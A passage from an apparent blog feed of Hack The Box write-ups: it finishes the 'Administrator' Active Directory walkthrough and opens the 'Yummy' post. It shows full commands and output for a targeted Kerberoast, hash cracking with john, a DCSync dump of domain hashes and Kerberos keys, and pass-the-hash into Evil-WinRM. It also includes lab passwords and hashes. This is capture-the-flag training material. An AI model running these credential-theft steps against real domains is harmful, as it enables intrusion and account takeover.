.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>It failed due to the time difference between the server and my host, but I can forge a system time using <code class="language-plaintext highlighter-rouge">faketime</code>. This would be handy in an Active Directory test, as may AD attacks rely on accurate time synchronization.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">faketime "$(ntpdate -q administrator.htb | cut -d ' ' -f 1,2)" python targetedKerberoast.py --dc-ip '10.129.85.158' -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --request-user ethan</span>
<span class="cmd-output">
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$26adae90be67e6f5b69fcb457c1c211d..SNIP..
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>This time the attack was successful, and the Service Ticket for <code class="language-plaintext highlighter-rouge">ethan</code> was obtained. <code class="language-plaintext highlighter-rouge">john</code> cracked it almost immediately:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt ethan.hash</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color: lightgreen;">limpbizkit       (?)   </span>
1g 0:00:00:00 DONE (2025-01-08 16:03) 20.00g/s 163840p/s 163840c/s 163840C/s newzealand..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">ethan</code> cannot log in to WinRM, but I’ll once again use SMB to confirm the password works.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">crackmapexec smb 10.129.85.158 -u 'ethan' -p 'limpbizkit'</span>
<span class="cmd-output">
SMB         10.129.85.158   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.85.158   445    DC               <span style="color: lightgreen;">[+] administrator.htb\ethan:limpbizkit</span>
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="dcsync">DCSync:</h3>

<p><img src="/assets/images/posts/administrator/15.png" alt="" /></p>

<p>In an enterprise AD environment, there are often multiple domain controllers for redundancy purposes. The <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/06205d97-30da-4fdc-a276-3fd831b272e0">Directory Replication Service</a> (DRS) Remote Protocol provides an API to allow synchronization between DCs. When receiving an update request, the domain controller only validates the requester’s SID and if it has the required privileges, but does not check if the request originates from a legitimate DC. This loophole opens the door for DCSync attacks, where an attacker impersonates a remote domain controller to requests updates to sensitive objects and steal credentials.</p>

<p>The attack requires the <code class="language-plaintext highlighter-rouge">GetChanges</code> and <code class="language-plaintext highlighter-rouge">GetChangesAll</code> privileges, both of which are granted to <code class="language-plaintext highlighter-rouge">ethan</code>. I’ll use <code class="language-plaintext highlighter-rouge">impacket-secretsdump</code> to extract the administrator password hash:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-secretsdump 'administrator.htb'/'ethan':'limpbizkit'@'10.129.85.158'</span>
<span class="cmd-output">
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
<span style="color: lightgreen;">Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::</span>
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:02158ac960c5a12cf4f605d80622f34d:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:1beffccce5468330187bfb6c32ddc25f:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
..SNIP..
[*] Cleaning up...
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The extracted hash can be used directly for WinRM login through a Pass-the-Hash attack, allowing authentication without knowing the plaintext password.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e -i administrator.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">administrator\administrator</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type root.txt</span>

<span class="win-output">edf157e4************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Windows" /><category term="Medium" /><summary type="html"><![CDATA[This box is unique in that it focuses entirely on Active Directory. Unlike typical boxes in HTB, there’s no web application to look at, and domain credentials are provided from the very start. This setup simulates real-world penetration tests in a Windows/Active Directory environment, and provides an excellent opportunity for practicing AD enumeration and attacks using tools like BloodHound and Impacket scripts.]]></summary></entry><entry><title type="html">HTB Machine - Yummy</title><link href="https://ch3ng625.github.io//yummy" rel="alternate" type="text/html" title="HTB Machine - Yummy" /><published>2025-02-23T00:00:00+00:00</published><updated>2025-02-23T00:00:00+00:00</updated><id>https://ch3ng625.github.io//yummy</id><content type="html" xml:base="https://ch3ng625.github.io//yummy"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Yummy feels more CTF-like compared to recent HTB boxes. Foothold involves a rather complex attack chain combining path traversal, JWT forging, SQL injection and multiple cron job abuses. Once on the box, I’ll exploit Mercurial and abuse sudo rights to get a root shell.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/yummy</span>]</span>
